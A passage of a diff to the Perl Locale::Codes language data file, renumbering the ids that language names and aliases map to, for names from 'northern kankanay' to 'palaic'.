       q(0),
       ],
    q(northern kankanay) => [
-      q(7423),
-      q(0),
-      ],
-   q(northern katang) => [
-      q(4770),
+      q(7420),
       q(0),
       ],
    q(northern khmer) => [
@@ -45659,11 +45597,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern kissi) => [
-      q(3562),
+      q(3561),
       q(0),
       ],
    q(northern kurdish) => [
-      q(3468),
+      q(3467),
       q(0),
       ],
    q(northern luri) => [
@@ -45671,107 +45609,107 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern mashan hmong) => [
-      q(2787),
+      q(2785),
       q(0),
       ],
    q(northern mashan miao) => [
-      q(2787),
+      q(2785),
       q(1),
       ],
    q(northern muji) => [
-      q(7689),
+      q(7686),
       q(0),
       ],
    q(northern nago) => [
-      q(7356),
+      q(7353),
       q(0),
       ],
    q(northern ngbandi) => [
-      q(4829),
+      q(4827),
       q(0),
       ],
    q(northern nisu) => [
-      q(7646),
+      q(7643),
       q(0),
       ],
    q(northern nuni) => [
-      q(5119),
+      q(5115),
       q(0),
       ],
    q(northern oaxaca nahuatl) => [
-      q(4874),
+      q(4872),
       q(0),
       ],
    q(northern ohlone) => [
-      q(1878),
+      q(1877),
       q(0),
       ],
    q(northern one) => [
-      q(5272),
+      q(5268),
       q(0),
       ],
    q(northern paiute) => [
-      q(5350),
+      q(5346),
       q(0),
       ],
    q(northern pame) => [
-      q(5518),
+      q(5514),
       q(0),
       ],
    q(northern pashto) => [
-      q(5374),
+      q(5370),
       q(0),
       ],
    q(northern pastaza quichua) => [
-      q(5705),
+      q(5703),
       q(0),
       ],
    q(northern pomo) => [
-      q(5408),
+      q(5404),
       q(0),
       ],
    q(northern puebla nahuatl) => [
-      q(4763),
+      q(4762),
       q(0),
       ],
    q(northern pumi) => [
-      q(5511),
+      q(5507),
       q(0),
       ],
    q(northern qiandong miao) => [
-      q(2739),
+      q(2737),
       q(0),
       ],
    q(northern qiang) => [
-      q(1795),
+      q(1794),
       q(0),
       ],
    q(northern rengma naga) => [
-      q(4992),
+      q(4990),
       q(0),
       ],
    q(northern roglai) => [
-      q(5831),
+      q(5830),
       q(0),
       ],
    q(northern sami) => [
-      q(0389),
+      q(0388),
       q(0),
       ],
    q(northern sierra miwok) => [
-      q(5074),
+      q(5070),
       q(0),
       ],
    q(northern sorsoganon) => [
-      q(1271),
+      q(1270),
       q(0),
       ],
    q(northern sotho) => [
-      q(0319),
+      q(0318),
       q(2),
       ],
    q(northern subanen) => [
-      q(6244),
+      q(6245),
       q(0),
       ],
    q(northern tarahumara) => [
@@ -45779,15 +45717,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern tepehuan) => [
-      q(5092),
+      q(5088),
       q(0),
       ],
    q(northern thai) => [
-      q(5007),
+      q(5005),
       q(0),
       ],
    q(northern tidung) => [
-      q(5084),
+      q(5080),
       q(0),
       ],
    q(northern tiwa) => [
@@ -45795,7 +45733,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern tlaxiaco mixtec) => [
-      q(7503),
+      q(7500),
       q(0),
       ],
    q(northern toussian) => [
@@ -45811,59 +45749,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(northern uzbek) => [
-      q(6953),
+      q(6952),
       q(0),
       ],
    q(northern yukaghir) => [
-      q(7650),
+      q(7647),
       q(0),
       ],
    q(northwest alaska inupiatun) => [
-      q(2291),
+      q(2290),
       q(0),
       ],
    q(northwest gbaya) => [
-      q(2692),
+      q(2690),
       q(0),
       ],
    q(northwest maidu) => [
-      q(4315),
+      q(4314),
       q(0),
       ],
    q(northwest oaxaca mixtec) => [
-      q(4640),
+      q(4639),
       q(0),
       ],
    q(northwest pashai) => [
-      q(2543),
+      q(2541),
       q(0),
       ],
    q(northwest pashayi) => [
-      q(2543),
+      q(2541),
       q(1),
       ],
    q(northwestern dinka) => [
-      q(2048),
+      q(2047),
       q(0),
       ],
    q(northwestern fars) => [
-      q(2335),
+      q(2334),
       q(0),
       ],
    q(northwestern kolami) => [
-      q(3283),
+      q(3281),
       q(0),
       ],
    q(northwestern kung) => [
-      q(6960),
+      q(6959),
       q(1),
       ],
    q(northwestern nisu) => [
-      q(5065),
+      q(5061),
       q(0),
       ],
    q(northwestern ojibwa) => [
-      q(5213),
+      q(5209),
       q(0),
       ],
    q(northwestern tamang) => [
@@ -45871,83 +45809,83 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(norwegian) => [
-      q(0317),
+      q(0316),
       q(0),
       ],
    q(norwegian bokmal) => [
-      q(0314),
+      q(0313),
       q(1),
       ],
    q(norwegian nynorsk) => [
-      q(0313),
+      q(0312),
       q(0),
       ],
    q(norwegian sign language) => [
-      q(5070),
+      q(5066),
       q(0),
       ],
    q(not applicable) => [
-      q(0486),
+      q(0485),
       q(1),
       ],
    q(notre) => [
-      q(1301),
+      q(1300),
       q(0),
       ],
    q(notsi) => [
-      q(4759),
+      q(4758),
       q(0),
       ],
    q(nottoway) => [
-      q(5095),
+      q(5091),
       q(0),
       ],
    q(nottoway-meherrin) => [
-      q(5136),
+      q(5132),
       q(0),
       ],
    q(novial) => [
-      q(5021),
+      q(5019),
       q(0),
       ],
    q(noy) => [
-      q(5023),
+      q(5021),
       q(0),
       ],
    q(nsenga) => [
-      q(5064),
+      q(5060),
       q(0),
       ],
    q(nshi) => [
-      q(5062),
+      q(5058),
       q(0),
       ],
    q(nsongo) => [
-      q(5081),
+      q(5077),
       q(0),
       ],
    q(ntcham) => [
-      q(1496),
+      q(1495),
       q(0),
       ],
    q(ntomba) => [
-      q(5091),
+      q(5087),
       q(0),
       ],
    q(nu) => [
-      q(4834),
+      q(4832),
       q(1),
       ],
    q(nubaca) => [
-      q(1027),
+      q(1026),
       q(0),
       ],
    q(nubi) => [
-      q(3221),
+      q(3219),
       q(0),
       ],
    q(nubian languages) => [
-      q(0320),
+      q(0319),
       q(0),
       ],
    q(nubri) => [
@@ -45955,59 +45893,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(nuer) => [
-      q(5116),
+      q(5112),
       q(0),
       ],
    q(nugunu (australia)) => [
-      q(5001),
+      q(4999),
       q(0),
       ],
    q(nugunu (cameroon)) => [
-      q(7576),
+      q(7573),
       q(0),
       ],
    q(nuk) => [
-      q(5006),
+      q(5004),
       q(0),
       ],
    q(nukak maku) => [
-      q(4136),
+      q(4135),
       q(0),
       ],
    q(nukna) => [
-      q(3445),
+      q(3444),
       q(0),
       ],
    q(nukuini) => [
-      q(5100),
+      q(5096),
       q(0),
       ],
    q(nukumanu) => [
-      q(5114),
+      q(5110),
       q(0),
       ],
    q(nukunul) => [
-      q(7428),
+      q(7425),
       q(0),
       ],
    q(nukuoro) => [
-      q(4931),
+      q(4929),
       q(0),
       ],
    q(nukuria) => [
-      q(5115),
+      q(5111),
       q(0),
       ],
    q(numana-nunku-gbantu-numbu) => [
-      q(4747),
+      q(4746),
       q(0),
       ],
    q(numanggang) => [
-      q(5016),
+      q(5014),
       q(0),
       ],
    q(numbami) => [
-      q(6032),
+      q(6031),
       q(0),
       ],
    q(nume) => [
@@ -46015,207 +45953,207 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(numee) => [
-      q(3243),
+      q(3241),
       q(0),
       ],
    q(numidian) => [
-      q(5144),
+      q(5140),
       q(0),
       ],
    q(nung (viet nam)) => [
-      q(5117),
+      q(5113),
       q(0),
       ],
    q(nungali) => [
-      q(5104),
+      q(5100),
       q(0),
       ],
    q(nunggubuyu) => [
-      q(5122),
+      q(5118),
       q(0),
       ],
    q(nungu) => [
-      q(5781),
+      q(5780),
       q(0),
       ],
    q(nuosu) => [
-      q(0190),
+      q(0189),
       q(1),
       ],
    q(nupbikha) => [
-      q(5026),
+      q(5024),
       q(0),
       ],
    q(nupe-nupe-tako) => [
-      q(5113),
+      q(5109),
       q(0),
       ],
    q(nupode huitoto) => [
-      q(2869),
+      q(2867),
       q(0),
       ],
    q(nusa laut) => [
-      q(5109),
+      q(5105),
       q(0),
       ],
    q(nusu) => [
-      q(5103),
+      q(5099),
       q(0),
       ],
    q(nuu-chah-nulth) => [
-      q(5108),
+      q(5104),
       q(0),
       ],
    q(nuuchahnulth) => [
-      q(5108),
+      q(5104),
       q(1),
       ],
    q(nyabwa) => [
-      q(5128),
+      q(5124),
       q(0),
       ],
    q(nyaheun) => [
-      q(4819),
+      q(4817),
       q(0),
       ],
    q(nyahkur) => [
-      q(1667),
+      q(1666),
       q(0),
       ],
    q(nyakyusa-ngonde) => [
-      q(5171),
+      q(5167),
       q(0),
       ],
    q(nyalayu) => [
-      q(7672),
+      q(7669),
       q(0),
       ],
    q(nyali) => [
-      q(4944),
+      q(4942),
       q(0),
       ],
    q(nyam) => [
-      q(4963),
+      q(4961),
       q(0),
       ],
    q(nyamal) => [
-      q(4953),
+      q(4951),
       q(0),
       ],
    q(nyambo) => [
-      q(5022),
+      q(5020),
       q(0),
       ],
    q(nyamusa-molo) => [
-      q(5132),
+      q(5128),
       q(0),
       ],
    q(nyamwanga) => [
-      q(4628),
+      q(4627),
       q(0),
       ],
    q(nyamwezi) => [
-      q(0323),
+      q(0322),
       q(0),
       ],
    q(nyaneka) => [
-      q(5160),
+      q(5156),
       q(0),
       ],
    q(nyang'i) => [
-      q(5162),
+      q(5158),
       q(0),
       ],
    q(nyanga) => [
-      q(5159),
+      q(5155),
       q(0),
       ],
    q(nyanga-li) => [
-      q(5152),
+      q(5148),
       q(0),
       ],
    q(nyangatom) => [
-      q(4990),
+      q(4988),
       q(0),
       ],
    q(nyangbo) => [
-      q(5151),
+      q(5147),
       q(0),
       ],
    q(nyangga) => [
-      q(5003),
+      q(5001),
       q(0),
       ],
    q(nyangumarta) => [
-      q(4981),
+      q(4979),
       q(0),
       ],
    q(nyanja) => [
-      q(0322),
+      q(0321),
       q(2),
       ],
    q(nyankole) => [
-      q(0324),
+      q(0323),
       q(0),
       ],
    q(nyankpa) => [
-      q(7613),
+      q(7610),
       q(0),
       ],
    q(nyarafolo senoufo) => [
-      q(5973),
+      q(5972),
       q(0),
       ],
    q(nyaturu) => [
-      q(5780),
+      q(5779),
       q(0),
       ],
    q(nyaw) => [
-      q(5169),
+      q(5165),
       q(0),
       ],
    q(nyawaygi) => [
-      q(5166),
+      q(5162),
       q(0),
       ],
    q(nyelayu) => [
-      q(7672),
+      q(7669),
       q(1),
       ],
    q(nyemba) => [
-      q(4732),
+      q(4731),
       q(0),
       ],
    q(nyengo) => [
-      q(5154),
+      q(5150),
       q(0),
       ],
    q(nyenkha) => [
-      q(4807),
+      q(4805),
       q(0),
       ],
    q(nyeu) => [
-      q(5161),
+      q(5157),
       q(0),
       ],
    q(nyigina) => [
-      q(5157),
+      q(5153),
       q(0),
       ],
    q(nyiha (malawi)) => [
-      q(5164),
+      q(5160),
       q(0),
       ],
    q(nyiha (tanzania)) => [
-      q(4881),
+      q(4879),
       q(0),
       ],
    q(nyika (malawi and zambia)) => [
-      q(4935),
+      q(4933),
       q(0),
       ],
    q(nyika (tanzania)) => [
-      q(4933),
+      q(4931),
       q(0),
       ],
    q(nyindrou) => [
@@ -46223,71 +46161,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(nyindu) => [
-      q(5156),
+      q(5152),
       q(0),
       ],
    q(nyishi) => [
-      q(4914),
+      q(4912),
       q(0),
       ],
    q(nyiyaparli) => [
-      q(7429),
+      q(7426),
       q(0),
       ],
    q(nynorsk, norwegian) => [
-      q(0313),
+      q(0312),
       q(1),
       ],
    q(nyokon) => [
-      q(5126),
+      q(5122),
       q(0),
       ],
    q(nyole) => [
-      q(5107),
+      q(5103),
       q(0),
       ],
    q(nyong) => [
-      q(4584),
+      q(4583),
       q(0),
       ],
    q(nyore) => [
-      q(5153),
+      q(5149),
       q(0),
       ],
    q(nyoro) => [
-      q(0325),
+      q(0324),
       q(0),
       ],
    q(nyulnyul) => [
-      q(5168),
+      q(5164),
       q(0),
       ],
    q(nyunga) => [
-      q(5165),
+      q(5161),
       q(0),
       ],
    q(nyungwe) => [
-      q(5167),
+      q(5163),
       q(0),
       ],
    q(nzakambay) => [
-      q(5178),
+      q(5174),
       q(0),
       ],
    q(nzakara) => [
-      q(5174),
+      q(5170),
       q(0),
       ],
    q(nzanyi) => [
-      q(4898),
+      q(4896),
       q(0),
       ],
    q(nzima) => [
-      q(0326),
+      q(0325),
       q(0),
       ],
    q(o'chi'chi') => [
-      q(7431),
+      q(7428),
       q(0),
       ],
    q(o'du) => [
@@ -46295,83 +46233,83 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(obanliku) => [
-      q(1636),
+      q(1635),
       q(0),
       ],
    q(obispeno) => [
-      q(5184),
+      q(5180),
       q(0),
       ],
    q(oblo) => [
-      q(5186),
+      q(5182),
       q(0),
       ],
    q(obo manobo) => [
-      q(5188),
+      q(5184),
       q(0),
       ],
    q(obokuitai) => [
-      q(0652),
+      q(0651),
       q(0),
       ],
    q(obolo) => [
-      q(0803),
+      q(0802),
       q(0),
       ],
    q(obulom) => [
-      q(5191),
+      q(5187),
       q(0),
       ],
    q(ocaina) => [
-      q(5192),
+      q(5188),
       q(0),
       ],
    q(occidental) => [
-      q(0193),
+      q(0192),
       q(1),
       ],
    q(occitan (post 1500)) => [
-      q(0327),
+      q(0326),
       q(0),
       ],
    q(ocotepec mixtec) => [
-      q(4294),
+      q(4293),
       q(0),
       ],
    q(ocotlan zapotec) => [
-      q(7792),
+      q(7789),
       q(0),
       ],
    q(od) => [
-      q(5197),
+      q(5193),
       q(0),
       ],
    q(odia (individual language)) => [
-      q(5303),
+      q(5299),
       q(0),
       ],
    q(odia (macrolanguage)) => [
-      q(0329),
+      q(0328),
       q(2),
       ],
    q(odiai) => [
-      q(1191),
+      q(1190),
       q(0),
       ],
    q(odoodee) => [
-      q(3402),
+      q(3401),
       q(0),
       ],
    q(odual) => [
-      q(5199),
+      q(5195),
       q(0),
       ],
    q(odut) => [
-      q(5196),
+      q(5192),
       q(0),
       ],
    q(ofaye) => [
-      q(5288),
+      q(5284),
       q(0),
       ],
    q(official aramaic (700-300 bce)) => [
@@ -46379,107 +46317,107 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ofo) => [
-      q(5200),
+      q(5196),
       q(0),
       ],
    q(ogbah) => [
-      q(5204),
+      q(5200),
       q(0),
       ],
    q(ogbia) => [
-      q(5203),
+      q(5199),
       q(0),
       ],
    q(ogbogolo) => [
-      q(5206),
+      q(5202),
       q(0),
       ],
    q(ogbronuagum) => [
-      q(5208),
+      q(5204),
       q(0),
       ],
    q(ogea) => [
-      q(2280),
+      q(2279),
       q(0),
       ],
    q(oirat) => [
-      q(0471),
+      q(0470),
       q(1),
       ],
    q(oirata) => [
-      q(5211),
+      q(5207),
       q(0),
       ],
    q(ojibwa) => [
-      q(0328),
+      q(0327),
       q(0),
       ],
    q(ojitlan chinantec) => [
-      q(1720),
+      q(1719),
       q(0),
       ],
    q(okanagan) => [
-      q(5220),
+      q(5216),
       q(0),
       ],
    q(oki-no-erabu) => [
-      q(5231),
+      q(5227),
       q(0),
       ],
    q(okiek) => [
-      q(5226),
+      q(5222),
       q(0),
       ],
    q(oko-eni-osayen) => [
-      q(5234),
+      q(5230),
       q(0),
       ],
    q(oko-juwoi) => [
-      q(5227),
+      q(5223),
       q(0),
       ],
    q(okobo) => [
-      q(5221),
+      q(5217),
       q(0),
       ],
    q(okodia) => [
-      q(5222),
+      q(5218),
       q(0),
       ],
    q(okolod) => [
-      q(3565),
+      q(3564),
       q(0),
       ],
    q(okpamheri) => [
-      q(5283),
+      q(5279),
       q(0),
       ],
    q(okpe (northwestern edo)) => [
-      q(5237),
+      q(5233),
       q(0),
       ],
    q(okpe (southwestern edo)) => [
-      q(5223),
+      q(5219),
       q(0),
       ],
    q(oksapmin) => [
-      q(5285),
+      q(5281),
       q(0),
       ],
    q(oku) => [
-      q(5235),
+      q(5231),
       q(0),
       ],
    q(old aramaic (up to 700 bce)) => [
-      q(5182),
+      q(5178),
       q(0),
       ],
    q(old avar) => [
-      q(5183),
+      q(5179),
       q(0),
       ],
    q(old breton) => [
-      q(5190),
+      q(5186),
       q(0),
       ],
    q(old bulgarian) => [
@@ -46487,11 +46425,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(3),
       ],
    q(old burmese) => [
-      q(5189),
+      q(5185),
       q(0),
       ],
    q(old chinese) => [
-      q(5193),
+      q(5189),
       q(0),
       ],
    q(old church slavonic) => [
@@ -46499,11 +46437,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(4),
       ],
    q(old cornish) => [
-      q(5194),
+      q(5190),
       q(0),
       ],
    q(old dutch) => [
-      q(5198),
+      q(5194),
       q(0),
       ],
    q(old english (ca. 450-1100)) => [
@@ -46511,95 +46449,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(old french (842-ca. 1400)) => [
-      q(0140),
+      q(0139),
       q(1),
       ],
    q(old frisian) => [
-      q(5201),
+      q(5197),
       q(0),
       ],
    q(old georgian) => [
-      q(5205),
+      q(5201),
       q(0),
       ],
    q(old high german (ca. 750-1050)) => [
-      q(0159),
+      q(0158),
       q(1),
       ],
    q(old hittite) => [
-      q(5209),
+      q(5205),
       q(0),
       ],
    q(old hungarian) => [
-      q(5210),
+      q(5206),
       q(0),
       ],
    q(old irish (to 900)) => [
-      q(0378),
+      q(0377),
       q(1),
       ],
    q(old japanese) => [
-      q(5216),
+      q(5212),
       q(0),
       ],
    q(old kentish sign language) => [
-      q(5229),
+      q(5225),
       q(0),
       ],
    q(old korean (3rd-9th cent.)) => [
-      q(5232),
+      q(5228),
       q(0),
       ],
    q(old lithuanian) => [
-      q(5245),
+      q(5241),
       q(0),
       ],
    q(old manipuri) => [
-      q(5256),
+      q(5252),
       q(0),
       ],
    q(old marathi) => [
-      q(5257),
+      q(5253),
       q(0),
       ],
    q(old mon) => [
-      q(5261),
+      q(5257),
       q(0),
       ],
    q(old newari) => [
-      q(0321),
+      q(0320),
       q(1),
       ],
    q(old norse) => [
-      q(0316),
+      q(0315),
       q(1),
       ],
    q(old nubian) => [
-      q(5276),
+      q(5272),
       q(0),
       ],
    q(old occitan (to 1500)) => [
-      q(0351),
+      q(0350),
       q(2),
       ],
    q(old ossetic) => [
-      q(5282),
+      q(5278),
       q(0),
       ],
    q(old persian (ca. 600-400 b.c.)) => [
-      q(0342),
+      q(0341),
       q(1),
       ],
    q(old provencal (to 1500)) => [
-      q(0351),
+      q(0350),
       q(1),
       ],
    q(old russian) => [
-      q(5300),
+      q(5296),
       q(0),
       ],
    q(old saxon) => [
-      q(5311),
+      q(5307),
       q(0),
       ],
    q(old slavonic) => [
@@ -46607,51 +46545,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(old spanish) => [
-      q(5308),
+      q(5304),
       q(0),
       ],
    q(old tamil) => [
-      q(5327),
+      q(5323),
       q(0),
       ],
    q(old tibetan) => [
-      q(5312),
+      q(5308),
       q(0),
       ],
    q(old turkish) => [
-      q(5316),
+      q(5312),
       q(0),
       ],
    q(old uighur) => [
-      q(5332),
+      q(5328),
       q(0),
       ],
    q(old welsh) => [
-      q(5336),
+      q(5332),
       q(0),
       ],
    q(olekha) => [
-      q(5240),
+      q(5236),
       q(0),
       ],
    q(olkol) => [
-      q(5241),
+      q(5237),
       q(0),
       ],
    q(olo) => [
-      q(5265),
+      q(5261),
       q(0),
       ],
    q(oloma) => [
-      q(5242),
+      q(5238),
       q(0),
       ],
    q(olrat) => [
-      q(5244),
+      q(5240),
       q(0),
       ],
    q(olu'bo) => [
-      q(4075),
+      q(4074),
       q(0),
       ],
    q(olukhayo) => [
@@ -46659,11 +46597,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(olulumo-ikom) => [
-      q(2940),
+      q(2937),
       q(0),
       ],
    q(oluluyia) => [
-      q(4084),
+      q(4083),
       q(1),
       ],
    q(olumarachi) => [
@@ -46675,7 +46613,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(olunyole) => [
-      q(5153),
+      q(5149),
       q(1),
       ],
    q(olusamia) => [
@@ -46687,291 +46625,291 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(oluta popoluca) => [
-      q(5494),
+      q(5490),
       q(0),
       ],
    q(olutsotso) => [
-      q(4066),
+      q(4065),
       q(1),
       ],
    q(oluwanga) => [
-      q(4092),
+      q(4091),
       q(1),
       ],
    q(omagua) => [
-      q(5250),
+      q(5246),
       q(0),
       ],
    q(omaha-ponca) => [
-      q(5247),
+      q(5243),
       q(0),
       ],
    q(omani arabic) => [
-      q(0602),
+      q(0601),
       q(0),
       ],
    q(ombamba) => [
-      q(4131),
+      q(4130),
       q(0),
       ],
    q(ombo) => [
-      q(5253),
+      q(5249),
       q(0),
       ],
    q(ometepec nahuatl) => [
-      q(4869),
+      q(4867),
       q(0),
       ],
    q(omi) => [
-      q(5251),
+      q(5247),
       q(0),
       ],
    q(omie) => [
-      q(0827),
+      q(0826),
       q(0),
       ],
    q(omok) => [
-      q(5252),
+      q(5248),
       q(0),
       ],
    q(omotic languages) => [
-      q(0519),
+      q(0518),
       q(0),
       ],
    q(omotik) => [
-      q(5258),
+      q(5254),
       q(0),
       ],
    q(omurano) => [
-      q(5259),
+      q(5255),
       q(0),
       ],
    q(ona) => [
-      q(5262),
+      q(5258),
       q(0),
       ],
    q(oneida) => [
-      q(5264),
+      q(5260),
       q(0),
       ],
    q(ong) => [
-      q(5279),
+      q(5275),
       q(0),
       ],
    q(onge) => [
-      q(5280),
+      q(5276),
       q(0),
       ],
    q(onin) => [
-      q(5266),
+      q(5262),
       q(0),
       ],
    q(onin based pidgin) => [
-      q(5277),
+      q(5273),
       q(0),
       ],
    q(oniyan) => [
-      q(1449),
+      q(1448),
       q(1),
       ],
    q(onjob) => [
-      q(5267),
+      q(5263),
       q(0),
       ],
    q(ono) => [
-      q(5273),
+      q(5269),
       q(0),
       ],
    q(onobasulu) => [
-      q(5269),
+      q(5265),
       q(0),
       ],
    q(onondaga) => [
-      q(5270),
+      q(5266),
       q(0),
       ],
    q(ontenu) => [
-      q(5274),
+      q(5270),
       q(0),
       ],
    q(ontong java) => [
-      q(5218),
+      q(5214),
       q(0),
       ],
    q(oorlams) => [
-      q(5281),
+      q(5277),
       q(0),
       ],
    q(opao) => [
-      q(5286),
+      q(5282),
       q(0),
       ],
    q(opata) => [
-      q(5287),
+      q(5283),
       q(0),
       ],
    q(opuuo) => [
       q(3885),
-      q(1),
+      q(0),
       ],
    q(orang kanaq) => [
-      q(5294),
+      q(5290),
       q(0),
       ],
    q(orang seletar) => [
-      q(5297),
+      q(5293),
       q(0),
       ],
    q(oraon sadri) => [
-      q(5948),
+      q(5947),
       q(0),
       ],
    q(orejon) => [
-      q(5291),
+      q(5287),
       q(0),
       ],
    q(oring) => [
-      q(5292),
+      q(5288),
       q(0),
       ],
    q(oriya) => [
-      q(0329),
+      q(0328),
       q(0),
       ],
    q(oriya (individual language)) => [
-      q(5303),
+      q(5299),
       q(1),
       ],
    q(oriya (macrolanguage)) => [
-      q(0329),
+      q(0328),
       q(1),
       ],
    q(orizaba nahuatl) => [
-      q(4950),
+      q(4948),
       q(0),
       ],
    q(orma) => [
-      q(5290),
+      q(5286),
       q(0),
       ],
    q(ormu) => [
-      q(5304),
+      q(5300),
       q(0),
       ],
    q(ormuri) => [
-      q(5299),
+      q(5295),
       q(0),
       ],
    q(oro) => [
-      q(5302),
+      q(5298),
       q(0),
       ],
    q(oro win) => [
-      q(5301),
+      q(5297),
       q(0),
       ],
    q(oroch) => [
-      q(5181),
+      q(5177),
       q(0),
       ],
    q(oroha) => [
-      q(5289),
+      q(5285),
       q(0),
       ],
    q(orok) => [
-      q(5180),
+      q(5176),
       q(0),
       ],
    q(orokaiva) => [
-      q(5236),
+      q(5232),
       q(0),
       ],
    q(oroko) => [
-      q(1110),
+      q(1109),
       q(0),
       ],
    q(orokolo) => [
-      q(5295),
+      q(5291),
       q(0),
       ],
    q(oromo) => [
-      q(0330),
+      q(0329),
       q(0),
       ],
    q(oroqen) => [
-      q(5293),
+      q(5289),
       q(0),
       ],
    q(orowe) => [
-      q(1382),
+      q(1381),
       q(0),
       ],
    q(oruma) => [
-      q(5296),
+      q(5292),
       q(0),
       ],
    q(orya) => [
-      q(6931),
+      q(6930),
       q(0),
       ],
    q(osage) => [
-      q(0331),
+      q(0330),
       q(0),
       ],
    q(osatu) => [
-      q(5309),
+      q(5305),
       q(0),
       ],
    q(oscan) => [
-      q(5305),
+      q(5301),
       q(0),
       ],
    q(osing) => [
-      q(5306),
+      q(5302),
       q(0),
       ],
    q(ososo) => [
-      q(5307),
+      q(5303),
       q(0),
       ],
    q(ossetian) => [
-      q(0332),
+      q(0331),
       q(0),
       ],
    q(ossetic) => [
-      q(0332),
+      q(0331),
       q(1),
       ],
    q(ot danum) => [
-      q(5313),
+      q(5309),
       q(0),
       ],
    q(otank) => [
-      q(6939),
+      q(6938),
       q(0),
       ],
    q(oti) => [
-      q(5315),
+      q(5311),
       q(0),
       ],
    q(oto-manguean languages) => [
-      q(0518),
+      q(0517),
       q(0),
       ],
    q(otomian languages) => [
-      q(0334),
+      q(0333),
       q(0),
       ],
    q(otoro) => [
-      q(5321),
+      q(5317),
       q(0),
       ],
    q(ottawa) => [
-      q(5325),
+      q(5321),
       q(0),
       ],
    q(ottoman turkish (1500-1928)) => [
-      q(0333),
+      q(0332),
       q(1),
       ],
    q(otuho) => [
@@ -46979,139 +46917,139 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(otuke) => [
-      q(5324),
+      q(5320),
       q(0),
       ],
    q(ouma) => [
-      q(5333),
+      q(5329),
       q(0),
       ],
    q(oune) => [
-      q(5331),
+      q(5327),
       q(0),
       ],
    q(ovdalian) => [
-      q(5334),
-      q(1),
+      q(5330),
+      q(0),
       ],
    q(owa) => [
-      q(6255),
+      q(6256),
       q(0),
       ],
    q(owenia) => [
-      q(7223),
+      q(7221),
       q(0),
       ],
    q(owiniga) => [
-      q(5335),
+      q(5331),
       q(0),
       ],
    q(oy) => [
-      q(5337),
+      q(5333),
       q(0),
       ],
    q(oya'oya) => [
-      q(5340),
+      q(5336),
       q(0),
       ],
    q(oyda) => [
-      q(5338),
+      q(5334),
       q(0),
       ],
    q(ozolotepec zapotec) => [
-      q(7803),
+      q(7800),
       q(0),
       ],
    q(ozumacin chinantec) => [
-      q(1726),
+      q(1725),
       q(0),
       ],
    q(pa di) => [
-      q(5395),
+      q(5391),
       q(0),
       ],
    q(pa'a) => [
-      q(5579),
+      q(5575),
       q(0),
       ],
    q(pa'o) => [
-      q(1288),
+      q(1287),
       q(1),
       ],
    q(pa'o karen) => [
-      q(1288),
+      q(1287),
       q(0),
       ],
    q(pa-hng) => [
-      q(5432),
+      q(5428),
       q(0),
       ],
    q(paafang) => [
-      q(5419),
+      q(5415),
       q(0),
       ],
    q(paakantyi) => [
-      q(2134),
+      q(2133),
       q(0),
       ],
    q(paama) => [
-      q(5505),
+      q(5501),
       q(0),
       ],
    q(paasaal) => [
-      q(6029),
+      q(6028),
       q(0),
       ],
    q(pacahuara) => [
-      q(5391),
+      q(5387),
       q(0),
       ],
    q(pacaraos quechua) => [
-      q(5701),
+      q(5699),
       q(0),
       ],
    q(pacific gulf yupik) => [
-      q(2255),
+      q(2254),
       q(0),
       ],
    q(pacoh) => [
-      q(5343),
+      q(5339),
       q(0),
       ],
    q(padoe) => [
-      q(5397),
+      q(5393),
       q(0),
       ],
    q(paekche) => [
-      q(5473),
+      q(5469),
       q(0),
       ],
    q(paelignian) => [
-      q(5428),
+      q(5424),
       q(0),
       ],
    q(paez) => [
-      q(5360),
+      q(5356),
       q(0),
       ],
    q(pagi) => [
-      q(5425),
+      q(5421),
       q(0),
       ],
    q(pagibete) => [
-      q(5345),
+      q(5341),
       q(0),
       ],
    q(pagu) => [
-      q(5430),
+      q(5426),
       q(0),
       ],
    q(pahanan agta) => [
-      q(0839),
+      q(0838),
       q(0),
       ],
    q(pahari-potwari) => [
-      q(5441),
+      q(5437),
       q(0),
       ],
    q(pahi) => [
@@ -47119,159 +47057,159 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(pahlavani) => [
-      q(5444),
+      q(5440),
       q(0),
       ],
    q(pahlavi) => [
-      q(0337),
+      q(0336),
       q(0),
       ],
    q(pai tavytera) => [
-      q(5620),
+      q(5617),
       q(0),
       ],
    q(paici) => [
-      q(5587),
+      q(5584),
       q(0),
       ],
    q(paipai) => [
-      q(5568),
+      q(5564),
       q(0),
       ],
    q(paite chin) => [
-      q(5387),
+      q(5383),
       q(0),
       ],
    q(paiwan) => [
-      q(5657),
+      q(5655),
       q(0),
       ],
    q(pak-tong) => [
-      q(5474),
+      q(5470),
       q(0),
       ],
    q(pakaasnovos) => [
-      q(5355),
+      q(5351),
       q(0),
       ],
    q(pakanha) => [
-      q(5476),
+      q(5472),
       q(0),
       ],
    q(pakistan sign language) => [
-      q(5480),
+      q(5476),
       q(0),
       ],
    q(paku) => [
-      q(5482),
+      q(5478),
       q(0),
       ],
    q(paku karen) => [
-      q(3110),
+      q(3108),
       q(0),
       ],
    q(pal) => [
-      q(0581),
+      q(0580),
       q(0),
       ],
    q(palaic) => [
-      q(5496),
